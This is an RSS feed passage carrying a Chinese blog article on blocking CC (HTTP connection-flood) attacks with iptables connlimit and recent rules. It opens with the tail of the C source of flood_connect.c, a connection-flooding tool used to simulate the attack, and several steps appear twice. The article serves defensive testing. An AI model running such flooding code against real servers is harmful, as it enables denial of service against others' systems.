&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;DATA:&amp;nbsp;%s\n&amp;quot;&lt;/span&gt;&lt;span&gt;,&amp;nbsp;buf); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(close_connection)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(close_delay&amp;nbsp;&amp;gt;&amp;nbsp;0) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usleep(close_delay); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#ifdef&amp;nbsp;OPENSSL &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(use_ssl&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;close_connection&amp;nbsp;==&amp;nbsp;1) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SSL_shutdown(ssl); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#endif &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close(s); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#ifdef&amp;nbsp;OPENSSL &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(use_ssl&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;close_connection&amp;nbsp;&amp;gt;&amp;nbsp;1) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SSL_shutdown(ssl); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#endif &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(connect_delay&amp;nbsp;&amp;gt;&amp;nbsp;0) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usleep(connect_delay); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&lt;span&gt;&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(verbose&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;warn&amp;nbsp;==&amp;nbsp;0)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;perror(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Warning&amp;nbsp;(connect)&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;warn&amp;nbsp;=&amp;nbsp;1; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(exit_on_sock_error) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(0); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(verbose) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(count&amp;nbsp;%&amp;nbsp;100&amp;nbsp;==&amp;nbsp;0) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close(s); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(client)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;while&lt;/span&gt;&lt;span&gt;&amp;nbsp;(1)&amp;nbsp;{} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&lt;span&gt;&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(verbose) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Done&amp;nbsp;(made&amp;nbsp;%s%ld&amp;nbsp;successful&amp;nbsp;connects)\n&amp;quot;&lt;/span&gt;&lt;span&gt;,&amp;nbsp;forks&amp;nbsp;?&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;approx.&amp;nbsp;&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;nbsp;:&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span&gt;,&amp;nbsp;successful&amp;nbsp;+&amp;nbsp;successful&amp;nbsp;*&amp;nbsp;forks); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(keep_alive&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;close_connection&amp;nbsp;==&amp;nbsp;0)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Press&amp;nbsp;&amp;lt;ENTER&amp;gt;&amp;nbsp;to&amp;nbsp;terminate&amp;nbsp;connections&amp;nbsp;and&amp;nbsp;this&amp;nbsp;program\n&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;void&lt;/span&gt;&lt;span&gt;)&amp;nbsp;getc(stdin); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(forks&amp;nbsp;&amp;gt;&amp;nbsp;0)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usleep(1&amp;nbsp;+&amp;nbsp;connect_delay&amp;nbsp;+&amp;nbsp;dump_delay&amp;nbsp;+&amp;nbsp;close_delay); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;while&lt;/span&gt;&lt;span&gt;&amp;nbsp;(i&amp;nbsp;&amp;lt;&amp;nbsp;forks)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;kill(pids[i],&amp;nbsp;SIGTERM); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i++; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usleep(10000); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;while&lt;/span&gt;&lt;span&gt;&amp;nbsp;(i&amp;nbsp;&amp;lt;&amp;nbsp;forks)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;kill(pids[i],&amp;nbsp;SIGKILL); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i++; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&lt;span&gt;&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;}&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/pre&gt;&lt;p&gt;（2）查看效果：&lt;/p&gt;&lt;p&gt;使用&lt;/p&gt;&lt;p&gt;watch &apos;netstat -an | grep:21 | \ grep&amp;lt;模拟攻击客户机的IP&amp;gt;| wc -l&apos;&lt;/p&gt;&lt;p&gt;实时查看模拟攻击客户机建立起来的连接数，&lt;/p&gt;&lt;p&gt;使用&lt;/p&gt;&lt;p&gt;watch &apos;iptables -L -n -v | \grep&amp;lt;模拟攻击客户机的IP&amp;gt;&apos;&lt;/p&gt;&lt;p&gt;查看模拟攻击客户机被 DROP 的数据包数。&lt;/p&gt;&lt;p&gt;5．注意&lt;/p&gt;&lt;p&gt;为了增强iptables防止CC攻击的能力，最好调整一下ipt_recent的参数如下：&lt;/p&gt;&lt;p&gt;#cat/etc/modprobe.conf options ipt_recent ip_list_tot=1000 ip_pkt_list_tot=60&lt;/p&gt;&lt;p&gt;#记录1000个IP地址，每个地址记录60个数据包 #modprobe ipt_recent &lt;br /&gt;当apache站点受到严重的cc攻击，我们可以用iptables来防止web服务器被CC攻击，实现自动屏蔽IP的功能。 &lt;br /&gt;1．系统要求&lt;/p&gt;&lt;p&gt;(1)LINUX 内核版本：2.6.9-42ELsmp或2.6.9-55ELsmp（其它内核版本需要重新编译内核，比较麻烦，但是也是可以实现的）。&lt;/p&gt;&lt;p&gt;(2)iptables版本：1.3.7&lt;/p&gt;&lt;p&gt;2. 安装&lt;/p&gt;&lt;p&gt;安装iptables1.3.7和系统内核版本对应的内核模块kernel-smp-modules-connlimit&lt;/p&gt;&lt;p&gt;3. 配置相应的iptables规则&lt;/p&gt;&lt;p&gt;示例如下：&lt;/p&gt;&lt;p&gt;(1)控制单个IP的最大并发连接数&lt;/p&gt;&lt;p&gt;iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j REJECT&lt;/p&gt;&lt;p&gt;#允许单个IP的最大连接数为 30&lt;/p&gt;&lt;p&gt;(2)控制单个IP在一定的时间（比如60秒）内允许新建立的连接数&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 30 -j REJECT iptables -A INPUT -p tcp --dport 80 -m recent&amp;nbsp; --name BAD_HTTP_ACCESS --set -j ACCEPT&lt;/p&gt;&lt;p&gt;#单个IP在60秒内只允许最多新建30个连接&lt;/p&gt;&lt;p&gt;&lt;b&gt;4. 验证 &lt;/b&gt;&lt;/p&gt;&lt;p&gt;（1）工具：flood_connect.c（用来模拟攻击)&lt;/p&gt;&lt;p&gt;（2）查看效果：&lt;/p&gt;&lt;p&gt;使用&lt;/p&gt;&lt;p&gt;watch &apos;netstat -an | grep:21 | \ grep&amp;lt;模拟攻击客户机的IP&amp;gt;| wc -l&apos;&lt;/p&gt;&lt;p&gt;实时查看模拟攻击客户机建立起来的连接数，&lt;/p&gt;&lt;p&gt;使用&lt;/p&gt;&lt;p&gt;watch &apos;iptables -L -n -v | grep&amp;lt;模拟攻击客户机的IP&amp;gt;&apos;&lt;/p&gt;&lt;p&gt;查看模拟攻击客户机被 DROP 的数据包数。&lt;/p&gt;&lt;p&gt;&lt;b&gt;5．注意 &lt;/b&gt;&lt;/p&gt;&lt;p&gt;为了增强iptables防止CC攻击的能力，最好调整一下ipt_recent的参数如下：&lt;/p&gt;&lt;p&gt;#cat/etc/modprobe.conf options ipt_recent ip_list_tot=1000 ip_pkt_list_tot=60&lt;/p&gt;&lt;p&gt;#记录1000个IP地址，每个地址记录60个数据包 #modprobe ipt_recent &lt;br /&gt;&lt;/p&gt;</description>
		<guid>http://www.517sou.net/Article/CC-attack-and-prevention.aspx</guid>
		<trackback:ping>http://www.517sou.net/Article/734/Trackback.ashx</trackback:ping>
		<comments>http://www.517sou.net/Article/CC-attack-and-prevention.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://www.517sou.net/Article/734/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://www.517sou.net/Article/create-bootable-windows-or-linux-usb-with-rmprepusb.aspx</link>
		<title>Create Bootable Windows or Linux USB with RMPrepUSB</title>
		<author>shanyiwan@live.com()</author>
		<category>技术文摘</category>
		<pubDate>Wed, 30 Nov 2011 01:56:25 GMT</pubDate>
